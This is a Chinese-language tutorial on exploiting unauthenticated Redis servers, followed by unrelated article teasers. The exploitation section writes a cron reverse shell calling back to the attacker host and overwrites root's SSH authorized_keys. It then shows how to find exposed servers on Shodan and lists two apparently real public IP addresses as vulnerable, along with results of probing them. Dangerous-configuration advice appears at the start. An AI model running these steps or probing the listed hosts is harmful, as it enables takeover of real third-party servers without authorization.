Redis:未授权访问

Redis

Redis(Remote Dictionary Server)是一个开源的高性能键值对(key-value)数据库,支持多种类型的数据结构。

核心特性

内存存储:Redis将所有数据存储在内存中,能够提供极高的读写性能。

持久化:虽然Redis是内存数据库,但提供了两种持久化机制:

RDB(Redis Database):在指定的时间间隔内将内存中的数据快照保存到磁盘。

AOF(Append Only File):记录每次写操作命令,并在服务器启动时重新执行这些命令来恢复数据。

漏洞成因

开发者配置不当,数据库对用户连接无限制,随意进行数据读写,并利用持久化机制,将文件保存至服务器,任意文件路径下

危险的配置文件项

配置项问题描述安全建议
监听配置 (bind)默认可能绑定到 0.0.0.0,允许所有IP访问绑定到内网地址或特定安全的网络接口
端口配置 (port)通常开放标准端口,容易被发现更改为非标准端口,减少被扫描的机率
密码设置 (requirepass)默认无密码设置设置强密码,避免未授权访问
防火墙不启用,或配置过于宽松启用并严格配置 ,限制用户和命令的权限
保护模式 (protected-mode)若设置为 no,在无密码的情况下任何IP都可以连接保持默认的 yes,或在禁用时确保使用强密码和 ACL

漏洞危害

1.服务器目录结构泄露

2.任意文件上传

3.服务器接管

redis常用操作

别名配置【详细点击主页查找】

alias redis='/usr/local/redis-6.0.9/src/redis-server /usr/local/redis-6.0.9/redis.conf'
alias rcli='/usr/local/redis-6.0.9/src/redis-cli'

 1.远程连接redis服务器

rcli -h 服务器ip地址 -p 运行redis服务的端口默认6379

rcli -h 39.108.91.74 -p 6379

2.读写数据

写:set 键名 数据

读:get 键名

 3.获取服务器信息

39.108.91.74:6379>info

4.获取配置文件信息[两行为整体,一行键一行值]

 106.15.138.150:6379> config get *

5.获取当前所有键

106.15.138.150:6379> keys *

6.动态修改文件保存路径及文件名

修改保存文件名:config set dbfilename 文件名

修改保存路径:config set dir 文件保存路径

7.将数据保存文件

106.15.138.150:6379> save

8.利用报错,判断文件保存是否成功

存在文件但不是目录类型: (error) ERR Changing directory: Not a directory

没有这样的文件或目录: (error) ERR Changing directory: No such file or directory

 

9.删除所有数据

flushall

redis漏洞利用

环境检验

攻击机:192.168.10.5

靶机:192.168.10.6

1.攻击机靶机正常通信

2.靶机开启redis服务

3.靶机检查redis端口状态

netstat -an 列出所有网络连接和监听的端口。

通过管道 | 传递给 grep 6379 命令。

grep 6379 搜索包含 "6379" 的行,并将结果输出到终端。

4.攻击机和靶机关闭防火墙

5.攻击机连接靶机redis服务

 

写入反弹连接

1.将cron表达式存储与随机键下

set x "\n* * * * * bash -i >& /dev/tcp/192.168.10.5/7777 0>&1\n"

每分钟对192.168.10.5的7777端口建立tcp连接,加入\n换行符防止其余保存数据对任务造成影响

2.配置保存路径,修改为定时任务目录下

config set dir /var/spool/cron/

cron目录:目录下存放以用户名命名的定时任务

3.修改保存文件名,改为root,使root用户每分钟执行一次表达式

config set dbfilename root

靶机已存在该文件。redis权限为root可以进行覆盖

 4.保存

save

5.查看靶机root用户的计划任务是否添加成功[]

 config set dir /var/spool/cron/root

(error) ERR Changing directory: Not a directory
当前目录下有root文件

6.使用nc监听靶机7777端口,进行反向连接

 nc -lvp 7777

连接成功: 

 

<1.查看靶机计划任务

 

写入ssh密钥实现免密登录

使用场景:目标主机存在开启了ssh服务的端口,且存在.ssh文件夹

原理:通过redis写入公钥文件,将源文件进行覆盖

密钥相关知识文章见主页其他文章

测试密钥登录
<1.复制公钥上传至靶机

靶机下出现文件 /root/.ssh/authorized_keys

<2 使用私钥进行登录

 <3 删除密钥文件authorized_keys 留存.ssh

 

 redis写入密钥
1.将公钥内容拼接换行符写入redis

 2.动态修改保存路径和文件名并将文件保存

 3.使用私钥进行登录

 

 如何寻找redis未授权访问漏洞

进入shodan

https://www.shodan.io

搜索关键字

port:6379

 

存在漏洞的ip

39.108.91.74:6379
读写:正常
动态修改:异常
文件路径:异常


106.15.138.150:6379
读写:正常
动态修改:正常
文件路径:正常
连接:异常

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/3266889.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

【Python面试题收录】Python编程基础练习题②(数据类型+文件操作+时间操作)

本文所有代码打包在Gitee仓库中https://gitee.com/wx114/Python-Interview-Questions 一、数据类型 第一题 编写一个函数&#xff0c;实现&#xff1a;先去除左右空白符&#xff0c;自动检测输入的数据类型&#xff0c;如果是整数就转换成二进制形式并返回出结果&#xff1b…

【知识图谱】深入理解 Cypher 查询语言中的查询

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…

解锁人工智能学习中的数学密钥

一、启航&#xff1a;奠定数学基础 1. 线性代数&#xff1a;AI的入门语言 学习目标&#xff1a;掌握向量、矩阵的基本概念及运算&#xff0c;理解线性空间、线性变换及特征值、特征向量的意义。学习建议&#xff1a;从基础教材入手&#xff0c;如《线性代数及其应用》&#x…

vue3前端开发-小兔鲜项目-登录组件的开发表单验证

vue3前端开发-小兔鲜项目-登录组件的开发表单验证&#xff01;现在开始写登录页面的内容。首先这一次完成基础的首页按钮点击跳转&#xff0c;以及初始化一些简单的表单的输入验证。后期还会继续完善内容。 1&#xff1a;首先还是准备好login页面的组件代码内容。 <script …

巴黎奥运观赛AI新体验来了!通义App上线“赛事百事通”等多款新功能

巴黎奥运会期间&#xff0c;通义App上线赛事百事通、全民云运动、AI运动写真等多款新功能。这些新功能基于通义大模型打造&#xff0c;让国内体育迷们看奥运、聊奥运的同时&#xff0c;也能体验AI技术带来的观赛新体验。 据了解&#xff0c;打开通义App&#xff0c;进入“巴黎2…

每日OJ_牛客_求最小公倍数

目录 牛客_求最小公倍数 解析代码 牛客_求最小公倍数 求最小公倍数__牛客网 解析代码 最小公倍数 两数之积除以最大公约数&#xff0c;这里使用碾转相除法进行最大公约数的求解&#xff1a;即a与b的最大公约数可以转化为a、b之间的余数为两者之间最小的数之间的公约数。所以…

Linux云计算 |【第二阶段】AUTOMATION-DAY3

主要内容&#xff1a; Jenkins项目管理、构建分发服务器、自动化上线的案例部署 补充&#xff1a;yum与dnf只是做了快捷方式&#xff0c;用法一样 [rootnode1 ~]# ll /bin/yum lrwxrwxrwx. 1 root root 5 Feb 18 2020 /bin/yum -> dnf-3 [rootnode1 ~]# ll /bin/dnf lrwx…

deepseek-vl 论文阅读笔记

目录 一、已有模型性能差距分析 二、创新点 数据集构建 模型架构 训练策略 实验与评估 三、细节 数据构建 内部SFT数据的分类体系 模型架构 训练流程包括三个阶段 系统包含三个模块 混合视觉编码器 视觉-语言适配器 语言模型 训练策略 阶段一&#xff1a;训练…

基于MediaPipe的手部特征点识别

基于MediaPipe的手部特征点识别 MediaPipe简介 MediaPipe Solutions 提供了一套库和工具&#xff0c;可以在安卓或者windows应用中快速应用人工智能 (AI) 和机器学习 (ML) 技术。 MediaPipe 手部地标任务可检测图片中手部的特征点。识别效果如下 环境配置 python -m pip ins…

PandasDataFrame知识点(巨详细)

15.Pandas&#xff1a; Pandas是基于NumPy的一种工具&#xff0c;该工具是为解决数据分析任务而创建的&#xff0c;Pandas提供了大量能使我们快速便携地处理数据的功能。Pandas的主要数据结构是Series与DataFrame。 16.Series&#xff08;可以看作有序的字典&#xff09; 类…

函数图像是如何画出来的(LiveCharts2)

大火的人工智能本质上就是一些简单的函数的组合&#xff0c;比如f(x)kxb&#xff0c;只是可能不只有x,还会x1&#xff0c;x2&#xff0c;…xn&#xff0c;只是维数不同&#xff0c;当维数很多的时候自然就需要方程组才能求解&#xff0c;维数越多自然需要的算力就越多。于是就有…

使用python中的特殊字典——defaultdict

专栏总目录 一、defaultdict说明 在Python中是一个特殊类型的字典&#xff0c;它是collections模块中的一个类defaultdict的实例。这个字典与普通的字典dict不同之处在于&#xff0c;当你试图访问一个不存在的键时&#xff0c;defaultdict会自动创建一个新条目&#xff0c;其值…

9步带你完全了解FPC柔性电路板,一文搞懂什么是FPC!

FPC你所要了解的— 01 FPC软板&#xff0c;是一种神奇的电子元件&#xff0c;它能够随心所欲地弯曲、折叠、缠绕&#xff0c;像一条灵活的蛇&#xff0c;在狭小的空间里穿梭自如。它是怎么做到的呢&#xff1f; 随着社会的不断进步&#xff0c;电子行业的不断更新换代&#xff…

02 USB_JTAG驱动安装

1 概述 一般安装vitis(vivado)的过程中勾选了安装JTAG cable驱动就会默认安装好JTAG驱动&#xff0c;但是如果vivado无法正确识别到JTAG&#xff0c;那么可以试下重新手动安装驱动 2 准备工作 安装驱动前&#xff0c;必须关闭所有的vivado,vitis-sdk并且拔掉USB JTAG 以免导…

【机器学习】用Jupyter Notebook实现并探索单变量线性回归的代价函数以及遇到的一些问题

引言 在机器学习中&#xff0c;代价函数&#xff08;Cost Function&#xff09;是一个用于衡量模型预测值与实际值之间差异的函数。在监督学习中&#xff0c;代价函数是评估模型性能的关键工具&#xff0c;它可以帮助我们了解模型在训练数据上的表现&#xff0c;并通过优化过程…

OLLaMA搭建本地大模型

LLMChain是一个简单的链&#xff0c;接受一个提示模板&#xff0c;使用用户输入格式化它并从LLM返回响应。 其中&#xff0c;prompt_template是一个非常关键的组件&#xff0c;可以让你创建一个非常简单的链&#xff0c;它将接收用户输入&#xff0c;使用它格式化提示&#xff…

Mybatis(三) 查询不同数据封装的方式

实体类&#xff1a; 数据库&#xff1a; 1、查询一个实体类对象 /** * 根据用户id查询用户信息* param id * return */User getUserById(Param("id") int id);<select id"getUserById" resultType"User">select * from t_user where id …

【数据结构初阶】单链表经典算法题十二道——得道飞升(上篇)

目录 1、移除元素 2、反转链表 3、链表的中间节点 4、合并两个有序链表 Relaxing Time&#xff01;&#xff01;&#xff01; ———————————————— 天气之子幻 ———————————————— 1、移除元素 思路&#xff1a; 创建一个新链表&#xff0…

<PLC><HMI><汇川>在汇川HMI画面中,如何为UI设置全局样式?

前言 汇川的HMI软件是使用了Qt来编写的,因此在汇川的HMI程序编写过程,是支持使用qt的样式来自定义部件样式的,即qss格式。 概述 汇川的软件本身提供三个系统的style样式,我们可以直接使用,但是,如果系统提供的样式不符合你的需求,那么你可以对其进行修改,或者自己新建…

IC秋招RTL代码合集

一 全加器和半加器 全加器 module full_adder1(input Ai, Bi, Ci,output So, Co);assign So Ai ^ Bi ^ Ci ;assign Co (Ai & Bi) | (Ci & (Ai | Bi)); endmodule module full_adder1(input Ai, Bi, Cioutput So, Co);assign {Co, So} Ai Bi Ci ; endm…